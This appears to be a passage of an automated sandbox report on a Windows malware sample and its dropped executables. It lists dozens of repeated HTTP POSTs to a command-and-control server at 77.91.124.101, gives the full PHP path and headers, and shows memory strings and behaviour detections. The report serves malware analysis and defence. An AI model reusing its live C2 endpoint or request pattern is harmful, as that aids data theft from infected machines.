Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1396Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1408Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1408Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 1408Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ECOTEL-ASRU ECOTEL-ASRU
Source: qBJICEqiLNwXNBLrN.exe, 0000000C.00000002.3242734675.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, qBJICEqiLNwXNBLrN.exe, 0000000C.00000002.3242734675.0000000002D45000.00000004.00000800.00020000.00000000.sdmp, qBJICEqiLNwXNBLrN.exe, 0000000C.00000002.3242734675.0000000002B9A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://77.91.124.101
Source: qBJICEqiLNwXNBLrN.exe, 0000000C.00000002.3242734675.0000000002B9A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://77.91.124.101/imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/Pythontr
Source: qBJICEqiLNwXNBLrN.exe, 0000000C.00000002.3242734675.0000000002D45000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://77.91.1H
Source: BlockrefBrokerperf.exe, 00000005.00000002.2209540037.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp, qBJICEqiLNwXNBLrN.exe, 0000000C.00000002.3242734675.0000000002A81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown TCP traffic detected without corresponding DNS query: 77.91.124.101
Source: unknown HTTP traffic detected: POST /imagewindows/cdnprotonpipe/9db/Providerphp/downloadsEternalDle/uploads/PythontrackDump/Image/Uploads5/temporarymulti/ToPythonpacketProcessormultiTrafficUniversal.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77.91.124.101Content-Length: 344Expect: 100-continueConnection: Keep-Alive

System Summary
barindex
.NET source code contains very large strings
Source: 0.3.o9jDrpZrgR.exe.6e7d70c.1.raw.unpack, s67.cs Long String: Length: 402992
Source: 0.3.o9jDrpZrgR.exe.657270c.0.raw.unpack, s67.cs Long String: Length: 402992
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0088848E 0_2_0088848E
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_00894088 0_2_00894088
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008900B7 0_2_008900B7
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008840FE 0_2_008840FE
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008A51C9 0_2_008A51C9
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_00897153 0_2_00897153
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008962CA 0_2_008962CA
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008832F7 0_2_008832F7
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008943BF 0_2_008943BF
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0088C426 0_2_0088C426
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008AD440 0_2_008AD440
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0088F461 0_2_0088F461
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008977EF 0_2_008977EF
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008AD8EE 0_2_008AD8EE
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0088286B 0_2_0088286B
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0088E9B7 0_2_0088E9B7
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008B19F4 0_2_008B19F4
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_00896CDC 0_2_00896CDC
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_00893E0B 0_2_00893E0B
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_008A4F9A 0_2_008A4F9A
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_0088EFE2 0_2_0088EFE2
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 5_2_00007FF848F41EC3 5_2_00007FF848F41EC3
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 5_2_00007FF848F51D55 5_2_00007FF848F51D55
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Code function: 5_2_00007FF84913D1C1 5_2_00007FF84913D1C1
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 12_2_00007FF848F31EC3 12_2_00007FF848F31EC3
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 12_2_00007FF848F41D55 12_2_00007FF848F41D55
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 12_2_00007FF848F3E5CD 12_2_00007FF848F3E5CD
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Code function: 12_2_00007FF84912D3C7 12_2_00007FF84912D3C7
Tries to load missing DLLs
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Section loaded: <pi-ms-win-core-localization-l1-2-1.dll Jump to behavior
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Section loaded: dxgidebug.dll Jump to behavior
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\Desktop\BfMGYDNR.log 75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
Uses 32bit PE files
Source: o9jDrpZrgR.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: String function: 0089EC50 appears 56 times
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: String function: 0089F5F0 appears 31 times
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: String function: 0089EB78 appears 39 times
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Code function: 0_2_00886FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW, 0_2_00886FAA
Sample file is different than original file name gathered from version info
Source: o9jDrpZrgR.exe, 00000000.00000003.2000894449.0000000004DA6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs o9jDrpZrgR.exe
Source: o9jDrpZrgR.exe, 00000000.00000003.2000527838.0000000006E2F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs o9jDrpZrgR.exe
Source: o9jDrpZrgR.exe, 00000000.00000003.1999993579.0000000006524000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs o9jDrpZrgR.exe
Source: o9jDrpZrgR.exe Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs o9jDrpZrgR.exe
Source: o9jDrpZrgR.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
